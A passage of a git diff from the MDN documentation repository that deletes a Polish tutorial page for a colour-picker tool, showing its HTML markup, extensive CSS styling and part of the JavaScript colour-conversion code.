FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support1.0{{CompatGeckoMobile("1")}}6.06.01.0
-
- -

See also

- - diff --git a/files/pl/web/css/css_colors/narzedzie_doboru_kolorow/index.html b/files/pl/web/css/css_colors/narzedzie_doboru_kolorow/index.html deleted file mode 100644 index 7907144f10..0000000000 --- a/files/pl/web/css/css_colors/narzedzie_doboru_kolorow/index.html +++ /dev/null @@ -1,3241 +0,0 @@ ---- -title: Narzędzie doboru kolorów -slug: Web/CSS/CSS_Colors/Narzedzie_doboru_kolorow -tags: - - CSS - - CSS Kolory - - HTML Kolory - - Narzędzia - - kolor - - kolory - - narzędzie - - narzędzie do wybierania kolorów - - wybieranie kolorów -translation_of: Web/CSS/CSS_Colors/Color_picker_tool ---- -
-

ColorPicker tool

- -

HTML Content

- -
    <div id="container">
-        <div id="palette" class="block">
-            <div id="color-palette"></div>
-            <div id="color-info">
-                <div class="title"> CSS Color </div>
-            </div>
-        </div>
-
-        <div id="picker" class="block">
-            <div class="ui-color-picker" data-topic="picker" data-mode="HSL"></div>
-            <div id="picker-samples" sample-id="master"></div>
-            <div id="controls">
-                <div id="delete">
-                    <div id="trash-can"></div>
-                </div>
-                <div id="void-sample" class="icon"></div>
-            </div>
-        </div>
-
-        <div id="canvas" data-tutorial="drop">
-            <div id="zindex" class="ui-input-slider" data-topic="z-index" data-info="z-index"
-                data-max="20" data-sensivity="10"></div>
-        </div>
-    </div>
-
-
- -

CSS Content

- -
/*
- * COLOR PICKER TOOL
- */
-
-.ui-color-picker {
-	width: 420px;
-	margin: 0;
-	border: 1px solid #DDD;
-	background-color: #FFF;
-	display: table;
-
-	-moz-user-select: none;
-	-webkit-user-select: none;
-	-ms-user-select: none;
-	user-select: none;
-}
-
-.ui-color-picker .picking-area {
-	width: 198px;
-	height: 198px;
-	margin: 5px;
-	border: 1px solid #DDD;
-	position: relative;
-	float: left;
-	display: table;
-}
-
-.ui-color-picker .picking-area:hover {
-	cursor: default;
-}
-
-/* HSV format - Hue-Saturation-Value(Brightness) */
-.ui-color-picker .picking-area {
-	background: url('https://mdn.mozillademos.org/files/5707/picker_mask_200.png') center center;
-
-	background: -moz-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%),
-				-moz-linear-gradient(left, #FFF 0%, rgba(255, 255, 255, 0) 100%);
-	background: -webkit-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%),
-				-webkit-linear-gradient(left, #FFF 0%, rgba(255, 255, 255, 0) 100%);
-	background: -ms-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%),
-				-ms-linear-gradient(left, #FFF 0%, rgba(255, 255, 255, 0) 100%);
-	background: -o-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%),
-				-o-linear-gradient(left, #FFF 0%, rgba(255, 255, 255, 0) 100%);
-
-	background-color: #F00;
-}
-
-/* HSL format - Hue-Saturation-Lightness */
-.ui-color-picker[data-mode='HSL'] .picking-area {
-	background: -moz-linear-gradient(top, hsl(0, 0%, 100%) 0%, hsla(0, 0%, 100%, 0) 50%,
-									hsla(0, 0%, 0%, 0) 50%, hsl(0, 0%, 0%) 100%),
-				-moz-linear-gradient(left, hsl(0, 0%, 50%) 0%, hsla(0, 0%, 50%, 0) 100%);
-	background: -webkit-linear-gradient(top, hsl(0, 0%, 100%) 0%, hsla(0, 0%, 100%, 0) 50%,
-									hsla(0, 0%, 0%, 0) 50%, hsl(0, 0%, 0%) 100%),
-				-webkit-linear-gradient(left, hsl(0, 0%, 50%) 0%, hsla(0, 0%, 50%, 0) 100%);
-	background: -ms-linear-gradient(top, hsl(0, 0%, 100%) 0%, hsla(0, 0%, 100%, 0) 50%,
-									hsla(0, 0%, 0%, 0) 50%, hsl(0, 0%, 0%) 100%),
-				-ms-linear-gradient(left, hsl(0, 0%, 50%) 0%, hsla(0, 0%, 50%, 0) 100%);
-	background: -o-linear-gradient(top, hsl(0, 0%, 100%) 0%, hsla(0, 0%, 100%, 0) 50%,
-									hsla(0, 0%, 0%, 0) 50%, hsl(0, 0%, 0%) 100%),
-				-o-linear-gradient(left, hsl(0, 0%, 50%) 0%, hsla(0, 0%, 50%, 0) 100%);
-	background-color: #F00;
-}
-
-.ui-color-picker .picker {
-	width: 10px;
-	height: 10px;
-	border-radius: 50%;
-	border: 1px solid #FFF;
-	position: absolute;
-	top: 45%;
-	left: 45%;
-}
-
-.ui-color-picker .picker:before {
-	width: 8px;
-	height: 8px;
-	content: "";
-	position: absolute;
-	border: 1px solid #999;
-	border-radius: 50%;
-}
-
-.ui-color-picker .hue,
-.ui-color-picker .alpha {
-	width: 198px;
-	height: 28px;
-	margin: 5px;
-	border: 1px solid #FFF;
-	float: left;
-}
-
-.ui-color-picker .hue {
-	background: url("https://mdn.mozillademos.org/files/5701/hue.png") center;
-	background: -moz-linear-gradient(left, #F00 0%, #FF0 16.66%, #0F0 33.33%, #0FF 50%,
-				#00F 66.66%, #F0F 83.33%, #F00 100%);
-	background: -webkit-linear-gradient(left, #F00 0%, #FF0 16.66%, #0F0 33.33%, #0FF 50%,
-				#00F 66.66%, #F0F 83.33%, #F00 100%);
-	background: -ms-linear-gradient(left, #F00 0%, #FF0 16.66%, #0F0 33.33%, #0FF 50%,
-				#00F 66.66%, #F0F 83.33%, #F00 100%);
-	background: -o-linear-gradient(left, #F00 0%, #FF0 16.66%, #0F0 33.33%, #0FF 50%,
-				#00F 66.66%, #F0F 83.33%, #F00 100%);
-}
-
-.ui-color-picker .alpha {
-	border: 1px solid #CCC;
-	background: url("https://mdn.mozillademos.org/files/5705/alpha.png");
-}
-
-.ui-color-picker .alpha-mask {
-	width: 100%;
-	height: 100%;
-	background: url("https://mdn.mozillademos.org/files/6089/alpha_mask.png");
-}
-
-.ui-color-picker .slider-picker {
-	width: 2px;
-	height: 100%;
-	border: 1px solid #777;
-	background-color: #FFF;
-	position: relative;
-	top: -1px;
-}
-
-/* input HSV and RGB */
-
-.ui-color-picker .info {
-	width: 200px;
-	margin: 5px;
-	float: left;
-}
-
-.ui-color-picker .info * {
-	float: left;
-}
-
-.ui-color-picker .input {
-	width: 64px;
-	margin: 5px 2px;
-	float: left;
-}
-
-.ui-color-picker .input .name {
-	height: 20px;
-	width: 30px;
-	text-align: center;
-	font-size: 14px;
-	line-height: 18px;
-	float: left;
-}
-
-.ui-color-picker .input input {
-	width: 30px;
-	height: 18px;
-	margin: 0;
-	padding: 0;
-	border: 1px solid #DDD;
-	text-align: center;
-	float: right;
-
-	-moz-user-select: text;
-	-webkit-user-select: text;
-	-ms-user-select: text;
-}
-
-.ui-color-picker .input[data-topic="lightness"] {
-	display: none;
-}
-
-.ui-color-picker[data-mode='HSL'] .input[data-topic="value"] {
-	display: none;
-}
-
-.ui-color-picker[data-mode='HSL'] .input[data-topic="lightness"] {
-	display: block;
-}
-
-.ui-color-picker .input[data-topic="alpha"] {
-	margin-top: 10px;
-	width: 93px;
-}
-
-.ui-color-picker .input[data-topic="alpha"] > .name {
-	width: 60px;
-}
-
-.ui-color-picker .input[data-topic="alpha"] > input {
-	float: right;
-}
-
-.ui-color-picker .input[data-topic="hexa"] {
-	width: auto;
-	float: right;
-	margin: 6px 8px 0 0;
-}
-
-.ui-color-picker .input[data-topic="hexa"] > .name {
-	display: none;
-}
-
-.ui-color-picker .input[data-topic="hexa"] > input {
-	width: 90px;
-	height: 24px;
-	padding: 2px 0;
-	-moz-box-sizing: border-box;
-	-webkit-box-sizing: border-box;
-	box-sizing: border-box;
-}
-
-/* Preview color */
-.ui-color-picker .preview {
-	width: 95px;
-	height: 53px;
-	margin: 5px;
-	margin-top: 10px;
-	border: 1px solid #DDD;
-	background-image: url("https://mdn.mozillademos.org/files/5705/alpha.png");
-	float: left;
-	position: relative;
-}
-
-.ui-color-picker .preview:before {
-	height: 100%;
-	width: 50%;
-	left: 50%;
-	top: 0;
-	content: "";
-	background: #FFF;
-	position: absolute;
-	z-index: 1;
-}
-
-.ui-color-picker .preview-color {
-	width: 100%;
-	height: 100%;
-	background-color: rgba(255, 0, 0, 0.5);
-	position: absolute;
-	z-index: 1;
-}
-
-.ui-color-picker .switch_mode {
-	width: 10px;
-	height: 20px;
-	position: relative;
-	border-radius: 5px 0 0 5px;
-	border: 1px solid #DDD;
-	background-color: #EEE;
-	left: -12px;
-	top: -1px;
-	z-index: 1;
-	transition: all 0.5s;
-}
-
-.ui-color-picker .switch_mode:hover {
-	background-color: #CCC;
-	cursor: pointer;
-}
-
-/*
- * UI Component
- */
-
-.ui-input-slider {
-	height: 20px;
-	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
-	-moz-user-select: none;
-	user-select: none;
-}
-
-.ui-input-slider * {
-	float: left;
-	height: 100%;
-	line-height: 100%;
-}
-
-/* Input Slider */
-
-.ui-input-slider > input {
-	margin: 0;
-	padding: 0;
-	width: 50px;
-	text-align: center;
-
-	-moz-box-sizing: border-box;
-	-webkit-box-sizing: border-box;
-	box-sizing: border-box;
-}
-
-.ui-input-slider-info {
-	width: 90px;
-	padding: 0px 10px 0px 0px;
-	text-align: right;
-	text-transform: lowercase;
-}
-
-.ui-input-slider-left, .ui-input-slider-right {
-	width: 16px;
-	cursor: pointer;
-	background: url("https://mdn.mozillademos.org/files/5679/arrows.png") center left no-repeat;
-}
-
-.ui-input-slider-right {
-	background: url("https://mdn.mozillademos.org/files/5679/arrows.png") center right no-repeat;
-}
-
-.ui-input-slider-name {
-	width: 90px;
-	padding: 0 10px 0 0;
-	text-align: right;
-	text-transform: lowercase;
-}
-
-.ui-input-slider-btn-set {
-	width: 25px;
-	background-color: #2C9FC9;
-	border-radius: 5px;
-	color: #FFF;
-	font-weight: bold;
-	line-height: 14px;
-	text-align: center;
-}
-
-.ui-input-slider-btn-set:hover {
-	background-color: #379B4A;
-	cursor: pointer;
-}
-
-/*
- * COLOR PICKER TOOL
- */
-
-body {
-	max-width: 1000px;
-	margin: 0 auto;
-
-	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
-
-	box-shadow: 0 0 5px 0 #999;
-
-	-moz-box-sizing: border-box;
-	-webkit-box-sizing: border-box;
-	box-sizing: border-box;
-
-	-moz-user-select: none;
-	-webkit-user-select: none;
-	-ms-user-select: none;
-	user-select: none;
-
-}
-
-/**
- * Resize Handle
- */
-.resize-handle {
-	width: 10px;
-	height: 10px;
-	background: url('https://mdn.mozillademos.org/files/6083/resize.png') center center no-repeat;
-	position: absolute;
-	bottom: 0;
-	right: 0;
-}
-
-[data-resize='both']:hover {
-	cursor: nw-resize !important;
-}
-
-[data-resize='width']:hover {
-	cursor: w-resize !important;
-}
-
-[data-resize='height']:hover {
-	cursor: n-resize !important;
-}
-
-[data-hidden='true'] {
-	display: none;
-}
-
-[data-collapsed='true'] {
-	height: 0 !important;
-}
-
-.block {
-	display: table;
-}
-
-
-/**
- * 	Container
- */
-#container {
-	width: 100%;
-
-	-moz-box-sizing: border-box;
-	-webkit-box-sizing: border-box;
-	box-sizing: border-box;
-
-	display: table;
-}
-
-/**
- * 	Picker Zone
- */
-
-#picker {
-	padding: 10px;
-	width: 980px;
-}
-
-.ui-color-picker {
-	padding: 3px 5px;
-	float: left;
-	border-color: #FFF;
-}
-
-.ui-color-picker .switch_mode {
-	display: none;
-}
-
-.ui-color-picker .preview-color:hover {
-	cursor: move;
-}
-
-/**
- * Picker Container
- */
-
-#picker-samples {
-	width: 375px;
-	height: 114px;
-	max-height: 218px;
-	margin: 0 10px 0 30px;
-	overflow: hidden;
-	position: relative;
-	float: left;
-
-	transition: all 0.2s;
-}
-
-#picker-samples .sample {
-	width: 40px;
-	height: 40px;
-	margin: 5px;
-	border: 1px solid #DDD;
-	position: absolute;
-	float: left;
-	transition: all 0.2s;
-}
-
-#picker-samples .sample:hover {
-	cursor: pointer;
-	border-color: #BBB;
-	transform: scale(1.15);
-	border-radius: 3px;
-}
-
-#picker-samples .sample[data-active='true'] {
-	border-color: #999;
-}
-
-#picker-samples .sample[data-active='true']:after {
-	content: "";
-	position: absolute;
-	background: url('https://mdn.mozillademos.org/files/6065/arrow.png') center no-repeat;
-	width: 100%;
-	height: 12px;
-	top: -12px;
-	z-index: 2;
-}
-
-#picker-samples #add-icon {
-	width: 100%;
-	height: 100%;
-	position: relative;
-	box-shadow: inset 0px 0px 2px 0px #DDD;
-}
-
-#picker-samples #add-icon:hover {
-	cursor: pointer;
-	border-color: #DDD;
-	box-shadow: inset 0px 0px 5px 0px #CCC;
-}
-
-#picker-samples #add-icon:before,
-#picker-samples #add-icon:after {
-	content: "";
-	position: absolute;
-	background-color: #EEE;
-	box-shadow: 0 0 1px 0 #EEE;
-}
-
-#picker-samples #add-icon:before {
-	width: 70%;
-	height: 16%;
-	top: 42%;
-	left: 15%;
-}
-
-#picker-samples #add-icon:after {
-	width: 16%;
-	height: 70%;
-	top: 15%;
-	left: 42%;
-}
-
-#picker-samples #add-icon:hover:before,
-#picker-samples #add-icon:hover:after {
-	background-color: #DDD;
-	box-shadow: 0 0 1px 0 #DDD;
-}
-
-/**
- * 	Controls
- */
-
-#controls {
-	width: 110px;
-	padding: 10px;
-	float: right;
-}
-
-#controls #picker-switch {
-	text-align: center;
-	float: left;
-}
-
-#controls .icon {
-	width: 48px;
-	height: 48px;
-	margin: 10px 0;
-	background-repeat: no-repeat;
-	background-position: center;
-	border: 1px solid #DDD;
-	display: table;
-	float: left;
-}
-
-#controls .icon:hover {
-	cursor: pointer;
-}
-
-#controls .picker-icon {
-	background-image: url('https://mdn.mozillademos.org/files/6081/picker.png');
-}
-
-#controls #void-sample {
-	margin-right: 10px;
-	background-image: url('https://mdn.mozillademos.org/files/6087/void.png');
-	background-position: center left;
-}
-
-#controls #void-sample[data-active='true'] {
-	border-color: #CCC;
-	background-position: center right;
-}
-
-#controls .switch {
-	width: 106px;
-	padding: 1px;
-	border: 1px solid #CCC;
-	font-size: 14px;
-	text-align: center;
-	line-height: 24px;
-	overflow: hidden;
-	float: left;
-}
-
-#controls .switch:hover {
-	cursor: pointer;
-}
-
-#controls .switch > * {
-	width: 50%;
-	padding: 2px 0;
-	background-color: #EEE;
-	float: left;
-}
-
-#controls .switch [data-active='true'] {
-	color: #FFF;
-	background-image: url('https://mdn.mozillademos.org/files/6025/grain.png');
-	background-color: #777;
-}
-
-/**
- * 	Trash Can
- */
-
-#delete {
-	width: 100%;
-	height: 94px;
-	background-color: #DDD;
-	background-image: url('https://mdn.mozillademos.org/files/6025/grain.png');
-	background-repeat: repeat;
-
-	text-align: center;
-	color: #777;
-
-	position: relative;
-	float: right;
-}
-
-#delete #trash-can {
-	width: 80%;
-	height: 80%;
-	border: 2px dashed #FFF;
-	border-radius: 5px;
-	background: url('https://mdn.mozillademos.org/files/6085/trash-can.png') no-repeat center;
-
-	position: absolute;
-	top: 10%;
-	left: 10%;
-
-	-moz-box-sizing: border-box;
-	-webkit-box-sizing: border-box;
-	box-sizing: border-box;
-
-	transition: all 0.2s;
-}
-
-#delete[drag-state='enter'] {
-	background-color: #999;
-}
-
-/**
- * 	Color Theme
- */
-
-#color-theme {
-	margin: 0 8px 0 0;
-	border: 1px solid #EEE;
-	display: inline-block;
-	float: right;
-}
-
-#color-theme .box {
-	width: 80px;
-	height: 92px;
-	float: left;
-}
-
-/**
- * Color info box
- */
-#color-info {
-	width: 360px;
-	float: left;
-}
-
-#color-info .title {
-	width: 100%;
-	padding: 15px;
-	font-size: 18px;
-	text-align: center;
-	background-image: url('https://mdn.mozillademos.org/files/6071/color-wheel.png');
-	background-repeat:no-repeat;
-	background-position: center left 30%;
-}
-
-#color-info .copy-container {
-	position: absolute;
-	top: -100%;
-}
-
-#color-info .property {
-	min-width: 280px;
-	height: 30px;
-	margin: 10px 0;
-	text-align: center;
-	line-height: 30px;
-}
-
-#color-info .property > * {
-	float: left;
-}
-
-#color-info .property .type {
-	width: 60px;
-	height: 100%;
-	padding: 0 16px 0 0;
-	text-align: right;
-}
-
-#color-info .property .value {
-	width: 200px;
-	height: 100%;
-	padding: 0 10px;
-	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
-	font-size: 16px;
-	color: #777;
-	text-align: center;
-	background-color: #FFF;
-	border: none;
-}
-
-#color-info .property .value:hover {
-	color: #37994A;
-}
-
-#color-info .property .value:hover + .copy {
-	background-position: center right;
-}
-
-#color-info .property .copy {
-	width: 24px;
-	height: 100%;
-	padding: 0 5px;
-	background-color: #FFF;
-	background-image: url('https://mdn.mozillademos.org/files/6073/copy.png');
-	background-repeat: no-repeat;
-	background-position: center left;
-	border-left: 1px solid #EEE;
-	text-align: right;
-	float: left;
-}
-
-#color-info .property .copy:hover {
-	background-position: center right;
-}
-
-
-/**
- * 	Color Palette
- */
-
-#palette {
-	width: 1000px;
-	padding: 10px 0;
-	background-image: url('https://mdn.mozillademos.org/files/6025/grain.png');
-	background-repeat: repeat;
-	background-color: #EEE;
-	color: #777;
-
-	-moz-box-sizing: border-box;
-	-webkit-box-sizing: border-box;
-	box-sizing: border-box;
-}
-
-#color-palette {
-	width: 640px;
-	font-family: Arial, Helvetica, sans-serif;
-	color: #777;
-	float: left;
-}
-
-#color-palette .container {
-	width: 100%;
-	height: 50px;
-	line-height: 50px;
-	overflow: hidden;
-	float: left;
-	transition: all 0.5s;
-}
-
-#color-palette .container > * {
-	float: left;
-}
-
-#color-palette .title {
-	width: 100px;
-	padding: 0 10px;
-	text-align: right;
-	line-height: inherit;
-}
-
-#color-palette .palette {
-	width: 456px;
-	height: 38px;
-	margin: 3px;
-	padding: 3px;
-	display: table;
-	background-color: #FFF;
-}
-
-#color-palette .palette .sample {
-	width: 30px;
-	height: 30px;
-	margin: 3px;
-	position: relative;
-	border: 1px solid #DDD;
-	float: left;
-	transition: all 0.2s;
-}
-
-#color-palette .palette .sample:hover {
-	cursor: pointer;
-	border-color: #BBB;
-	transform: scale(1.15);
-	border-radius: 3px;
-}
-
-#color-palette .controls {
-}
-
-#color-palette .controls > * {
-	float: left;
-}
-
-#color-palette .controls > *:hover {
-	cursor: pointer;
-}
-
-#color-palette .controls .lock {
-	width: 24px;
-	height: 24px;
-	margin: 10px;
-	padding: 3px;
-	background-image: url('https://mdn.mozillademos.org/files/6077/lock.png');
-	background-repeat: no-repeat;
-	background-position: bottom right;
-}
-
-#color-palette .controls .lock:hover {
-	/*background-image: url('images/unlocked-hover.png');*/
-	background-position: bottom left;
-}
-
-#color-palette .controls .lock[locked-state='true'] {
-	/*background-image: url('images/locked.png');*/
-	background-position: top left ;
-}
-
-#color-palette .controls .lock[locked-state='true']:hover {
-	/*background-image: url('images/lock-hover.png');*/
-	background-position: top right;
-}
-
-/**
- * Canvas
- */
-
-#canvas {
-	width: 100%;
-	height: 300px;
-	min-height: 250px;
-	border-top: 1px solid #DDD;
-	background-image: url('https://mdn.mozillademos.org/files/6025/grain.png');
-	background-repeat: repeat;
-	position: relative;
-	float: left;
-}
-
-#canvas[data-tutorial='drop'] {
-	text-align: center;
-	font-size: 30px;
-	color: #777;
-}
-
-#canvas[data-tutorial='drop']:before {
-	content: "Drop colors here to compare";
-	width: 40%;
-	padding: 30px 9% 70px 11%;
-
-	background-image: url('https://mdn.mozillademos.org/files/6075/drop.png');
-	background-repeat: no-repeat;
-	background-position: left 35px top 60%;
-
-	text-align: right;
-
-	border: 3px dashed rgb(221, 221, 221);
-	border-radius: 15px;
-
-	position: absolute;
-	top: 50px;
-	left: 20%;
-}
-
-#canvas[data-tutorial='drop']:after {
-	content: "adjust, change or modify";
-	width: 40%;
-	font-size: 24px;
-	position: absolute;
-	top: 130px;
-	left: 32%;
-	z-index: 2;
-}
-
-#canvas [data-tutorial='dblclick'] {
-	background-color: #999 !important;
-}
-
-#canvas [data-tutorial='dblclick']:before {
-	content: "double click to activate";
-	width: 80px;
-	color: #FFF;
-	position: absolute;
-	top: 10%;
-	left: 20%;
-	z-index: 2;
-}
-
-#canvas .sample {
-	width: 100px;
-	height: 100px;
-	min-width: 20px;
-	min-height: 20px;
-	position: absolute;
-	border: 1px solid rgba(255, 255, 255, 0.3);
-}
-
-#canvas .sample:hover {
-	cursor: move;
-}
-
-#canvas .sample[data-active='true']:after {
-	content: "";
-	position: absolute;
-	background: url('https://mdn.mozillademos.org/files/6065/arrow.png') center no-repeat;
-	width: 100%;
-	height: 12px;
-	top: -12px;
-	z-index: 2;
-}
-
-#canvas .sample:hover > * {
-	cursor: pointer;
-	display: block !important;
-}
-
-#canvas .sample .resize-handle {
-	display: none;
-}
-
-#canvas .sample .pick {
-	width: 10px;
-	height: 10px;
-	margin: 5px;
-	background: url('https://mdn.mozillademos.org/files/6079/pick.png') center no-repeat;
-	position: absolute;
-	top: 0;
-	left: 0;
-	display: none;
-}
-
-#canvas .sample .delete {
-	width: 10px;
-	height: 10px;
-	margin: 5px;
-	background: url('https://mdn.mozillademos.org/files/6069/close.png') center no-repeat;
-	position: absolute;
-	top: 0;
-	right: 0;
-	display: none;
-}
-
-
-/**
- * Canvas controls
- */
-
-#canvas .toggle-bg {
-	width: 16px;
-	height: 16px;
-	margin: 5px;
-	background: url("images/canvas-controls.png") center left no-repeat;
-	position: absolute;
-	top: 0;
-	right: 0;
-}
-
-#canvas .toggle-bg:hover {
-	cursor: pointer;
-}
-
-#canvas[data-bg='true'] {
-	background: none;
-}
-
-#canvas[data-bg='true'] .toggle-bg {
-	background: url('https://mdn.mozillademos.org/files/6067/canvas-controls.png') center right no-repeat;
-}
-
-#zindex {
-	height: 20px;
-	margin: 5px;
-	font-size: 16px;
-	position: absolute;
-	opacity: 0;
-	top: -10000px;
-	left: 0;
-	color: #777;
-	float: left;
-	transition: opacity 1s;
-}
-
-#zindex input {
-	border: 1px solid #DDD;
-	font-size: 16px;
-	color: #777;
-}
-
-#zindex .ui-input-slider-info {
-	width: 60px;
-}
-
-#zindex[data-active='true'] {
-	top: 0;
-	opacity: 1;
-}
-
-
- -

JavaScript Content

- -
'use strict';
-
-var UIColorPicker = (function UIColorPicker() {
-
-	function getElemById(id) {
-		return document.getElementById(id);
-	}
-
-	var subscribers = [];
-	var pickers = [];
-
-	/**
-	 * RGBA Color class
-	 *
-	 * HSV/HSB and HSL (hue, saturation, value / brightness, lightness)
-	 * @param hue			0-360
-	 * @param saturation	0-100
-	 * @param value 		0-100
-	 * @param lightness		0-100
-	 */
-
-	function Color(color) {
-
-		if(color instanceof Color === true) {
-			this.copy(color);
-			return;
-		}
-
-		this.r = 0;
-		this.g = 0;
-		this.b = 0;
-		this.a = 1;
-		this.hue = 0;
-		this.saturation = 0;
-		this.value = 0;
-		this.lightness = 0;
-		this.format = 'HSV';
-	}
-
-	function RGBColor(r, g, b) {
-		var color = new Color();
-		color.setRGBA(r, g, b, 1);
-		return color;
-	}
-
-	function RGBAColor(r, g, b, a) {
-		var color = new Color();
-		color.setRGBA(r, g, b, a);
-		return color;
-	}
-
-	function HSVColor(h, s, v) {
-		var color = new Color();
-		color.setHSV(h, s, v);
-		return color;
-	}
-
-	function HSVAColor(h, s, v, a) {
-		var color = new Color();
-		color.setHSV(h, s, v);
-		color.a = a;
-		return color;
-	}
-
-	function HSLColor(h, s, l) {
-		var color = new Color();
-		color.setHSL(h, s, l);
-		return color;
-	}
-
-	function HSLAColor(h, s, l, a) {
-		var color = new Color();
-		color.setHSL(h, s, l);
-		color.a = a;
-		return color;
-	}
-
-	Color.prototype.copy = function copy(obj) {
-		if(obj instanceof Color !== true) {
-			console.log('Typeof parameter not Color');
-			return;
-		}
-
-		this.r = obj.r;
-		this.g = obj.g;
-		this.b = obj.b;
-		this.a = obj.a;
-		this.hue = obj.hue;
-		this.saturation = obj.saturation;
-		this.value = obj.value;
-		this.format = '' + obj.format;
-		this.lightness = obj.lightness;
-	};
-
-	Color.prototype.setFormat = function setFormat(format) {
-		if (format === 'HSV')
-			this.format = 'HSV';
-		if (format === 'HSL')
-			this.format = 'HSL';
-	};
-
-	/*========== Methods to set Color Properties ==========*/
-
-	Color.prototype.isValidRGBValue = function isValidRGBValue(value) {
-		return (typeof(value) === 'number' && isNaN(value) === false &&
-			value >= 0 && value <= 255);
-	};
-
-	Color.prototype.setRGBA = function setRGBA(red, green, blue, alpha) {
-		if (this.isValidRGBValue(red) === false ||
-			this.isValidRGBValue(green) === false ||
-			this.isValidRGBValue(blue) === false)
-			return;
-
-			this.r = red | 0;
-			this.g = green | 0;
-			this.b = blue | 0;
-
-		if (this.isValidRGBValue(alpha) === true)
-			this.a = alpha | 0;
-	};
-
-	Color.prototype.setByName = function setByName(name, value) {
-		if (name === 'r' || name === 'g' || name === 'b') {
-			if(this.isValidRGBValue(value) === false)
-				return;
-
-			this[name] = value;
-			this.updateHSX();
-		}
-	};
-
-	Color.prototype.setHSV = function setHSV(hue, saturation, value) {
-		this.hue = hue;
-		this.saturation = saturation;
-		this.value = value;
-		this.HSVtoRGB();
-	};
-
-	Color.prototype.setHSL = function setHSL(hue, saturation, lightness) {
-		this.hue = hue;
-		this.saturation = saturation;
-		this.lightness = lightness;
-		this.HSLtoRGB();
-	};
-
-	Color.prototype.setHue = function setHue(value) {
-		if (typeof(value) !== 'number' || isNaN(value) === true ||
-			value < 0 || value > 359)
-			return;
-		this.hue = value;
-		this.updateRGB();
-	};
-
-	Color.prototype.setSaturation = function setSaturation(value) {
-		if (typeof(value) !== 'number' || isNaN(value) === true ||
-			value < 0 || value > 100)
-			return;
-		this.saturation = value;
-		this.updateRGB();
-	};
-
-	Color.prototype.setValue = function setValue(value) {
-		if (typeof(value) !== 'number' || isNaN(value) === true ||
-			value < 0 || value > 100)
-			return;
-		this.value = value;
-		this.HSVtoRGB();
-	};
-
-	Color.prototype.setLightness = function setLightness(value) {
-		if (typeof(value) !== 'number' || isNaN(value) === true ||
-			value < 0 || value > 100)
-			return;
-		this.lightness = value;
-		this.HSLtoRGB();
-	};
-
-	Color.prototype.setHexa = function setHexa(value) {
-		var valid  = /(^#{0,1}[0-9A-F]{6}$)|(^#{0,1}[0-9A-F]{3}$)/i.test(value);
-
-		if (valid !== true)
-			return;
-
-		if (value[0] === '#')
-			value = value.slice(1, value.length);
-
-		if (value.length === 3)
-			value = value.replace(/([0-9A-F])([0-9A-F])([0-9A-F])/i,'$1$1$2$2$3$3');
-
-		this.r = parseInt(value.substr(0, 2), 16);
-		this.g = parseInt(value.substr(2, 2), 16);
-		this.b = parseInt(value.substr(4, 2), 16);
-
-		this.alpha	= 1;
-		this.RGBtoHSV();
-	};
-
-	/*========== Conversion Methods ==========*/
-
-	Color.prototype.convertToHSL = function convertToHSL() {
-		if (this.format === 'HSL')
-			return;
-
-		this.setFormat('HSL');
-		this.RGBtoHSL();
-	};
-
-	Color.prototype.convertToHSV = function convertToHSV() {
-		if (this.format === 'HSV')
-			return;
-
-		this.setFormat('HSV');
-		this.RGBtoHSV();
-	};
-
-	/*========== Update Methods ==========*/
-
-	Color.prototype.updateRGB = function updateRGB() {
-		if (this.format === 'HSV') {
-			this.HSVtoRGB();
-			return;
-		}
-
-		if (this.format === 'HSL') {
-			this.HSLtoRGB();
-			return;
-		}
-	};
-
-	Color.prototype.updateHSX = function updateHSX() {
-		if (this.format === 'HSV') {
-			this.RGBtoHSV();
-			return;
-		}
-
-		if (this.format === 'HSL') {
-			this.RGBtoHSL();
-			return;
-		}
-	};
-
-	Color.prototype.HSVtoRGB = function HSVtoRGB() {
-		var sat = this.saturation / 100;
-		var value = this.value / 100;
-		var C = sat * value;
-		var H = this.hue / 60;
-		var X = C * (1 - Math.abs(H % 2 - 1));
-		var m = value - C;
-		var precision = 255;
-
-		C = (C + m) * precision | 0;
-		X = (X + m) * precision | 0;
-		m = m * precision | 0;
-
-		if (H >= 0 && H < 1) {	this.setRGBA(C, X, m);	return; }
-		if (H >= 1 && H < 2) {	this.setRGBA(X, C, m);	return; }
-		if (H >= 2 && H < 3) {	this.setRGBA(m, C, X);	return; }
-		if (H >= 3 && H < 4) {	this.setRGBA(m, X, C);	return; }
-		if (H >= 4 && H < 5) {	this.setRGBA(X, m, C);	return; }
-		if (H >= 5 && H < 6) {	this.setRGBA(C, m, X);	return; }
-	};
-
-	Color.prototype.HSLtoRGB = function HSLtoRGB() {
-		var sat = this.saturation / 100;
-		var light = this.lightness / 100;
-		var C = sat * (1 - Math.abs(2 * light - 1));
-		var H = this.hue / 60;
-		var X = C * (1 - Math.abs(H % 2 - 1));
-		var m = light - C/2;
-		var precision = 255;
-
-		C = (C + m) * precision | 0;
-		X = (X + m) * precision | 0;
-		m = m * precision | 0;
-
-		if (H >= 0 && H < 1) {	this.setRGBA(C, X, m);	return; }
-		if (H >= 1 && H < 2) {	this.setRGBA(X, C, m);	return; }
-		if (H >= 2 && H < 3) {	this.setRGBA(m, C, X);	return; }
-		if (H >= 3 && H < 4) {	this.setRGBA(m, X, C);	return; }
-		if (H >= 4 && H < 5) {	this.setRGBA(X, m, C);	return; }
-		if (H >= 5 && H < 6) {	this.setRGBA(C, m, X);	return; }
-	};
-
-	Color.prototype.RGBtoHSV = function RGBtoHSV() {
-		var red		= this.r / 255;
-		var green	= this.g / 255;
-		var blue	= this.b / 255;
-
-		var cmax = Math.max(red, green, blue);
-		var cmin = Math.min(red, green, blue);
-		var delta = cmax - cmin;
-		var hue = 0;
-		var saturation = 0;
-
-		if (delta) {
-			if (cmax === red ) { hue = ((green - blue) / delta); }
-			if (cmax === green ) { hue = 2 + (blue - red) / delta; }
-			if (cmax === blue ) { hue = 4 + (red - green) / delta; }
-			if (cmax) saturation = delta / cmax;
-		}
-
-		this.hue = 60 * hue | 0;
-		if (this.hue < 0) this.hue += 360;
-		this.saturation = (saturation * 100) | 0;
-		this.value = (cmax * 100) | 0;
-	};
-
